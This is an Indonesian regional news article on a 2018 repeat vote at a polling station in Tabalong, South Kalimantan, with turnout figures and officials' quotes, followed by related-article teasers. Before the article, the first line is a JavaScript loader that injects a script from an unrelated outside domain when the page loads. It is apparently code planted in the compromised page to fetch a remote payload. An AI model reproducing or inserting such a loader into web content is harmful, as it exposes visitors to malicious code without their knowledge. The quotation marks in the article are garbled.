(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
TANJUNG, Komisi Pemilihan Umum (KPU) Kalimantan Selatan melakukan Pemungutan Suara Ulang (PSU) di TPS 15 Kelurahan Belimbing Raya, Kecamatan Murung Pudak, Kabupaten Tabalong.
Ketua KPU Kalsel Edy Ardiansyah mengatakan, Pemungutan Suara Ulang dilakukan atas tinda lanjut rekomendasi Panwas Kecamatan Murung Pudak tertanggal 29 Juni 2018. Waktu bagi KPU Kabupaten Tabalong, PPK Murung Pudak, PPS Belimbing Raya, dan KPPS TPS 15 mempersiapkan PSU lumayan singkat.
Pemungutan suara ulang akhirnya bisa dilaksanakan. Sejak menerima rekomendasi Panwas, Jajaran KPU Tabalong langsung mengkoordinasikan PPK, PPS, dan KPPS untuk mempersiapkan segala kebutuhan pelaksanaan pemungutan suara ulang.
“Saya menaruh rasa hormat dan takzim kepada ketua dan anggota KPPS TPS 15 yang tak kenal lelah dan masih bersedia menyelenggarakan demokrasi di sana,†ujar Edy Ardiansyah.
“Ini juga berkat kerjasama baik semua pihak, baik kepolisian, semua saksi-saksi atau semua tim pemenangan pasangan calon, RT, RW, pengawas pemilihan dan umumnya masyarakat di TPS 15 berpartisipasi sesuai peran masing-masing menyukseskan pemungutan suara ulang,†ujarnya.
Sekedar diketahui saja, pelaksanaan pemungutan suara ulang di TPS 15 Kelurahan Belimbing Raya, Kecamatan Murung Puadak dilaksanakan pada Minggu 1 Juli 2018. Hari ke empat setelah pemungutan dan penghitungan suara tanggal 27 Juni 2018 atau hari terakhir sesuai batas waktu yang ditentukan dalam Pasal 60 PKPU Nomor 8 Tahun 2018.
Pemungutan suara ulang berlangsung muai pukul 07.00-13.00 WITA, usai pemungutan suara ulang, KPPS melakukan penghitungan suara dan telah selesai sekitar pukul 14.14 Wita. Pemilih yang memberikan hak pilih pada saat pemungutan suara ulang sebanyak 218 dari 464 DPT di TPS tersebut. Berkurang dari pemilih yang hadir memberikan hak pilih pada pemungutan suara 27 Juni 2018. Pemilih yang memberikan hak pilih saat coblosan 27 Juni 2018 sebanyak 268 pemilih.
Sekarang KPPS di TPS 15 sedang melakukan penyegelan kotak suara hasil PSU dan akan diserahkan ke PPK murung Pudak melalui PPS belimbing raya untuk dilakukan rekapitulasi hasil penghitungan suara.
Sementara itu saat memperingati HUT Polri ke-72, Kapolda Kalsel Brigjend Pol Rachmat Mulyana membenarkan, ada kecurangan dalam Pilkada. Ia mengatakan Panwaslu masing-masing kabupaten sudah mencatat, mungkin nanti sekaligus rapat pleno dan hal ini masih ditangani oleh panwaslu belum sampai ke polda. “Hal ini masih di Panwaslu bukan ke Polda,†katanya. (ammar)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.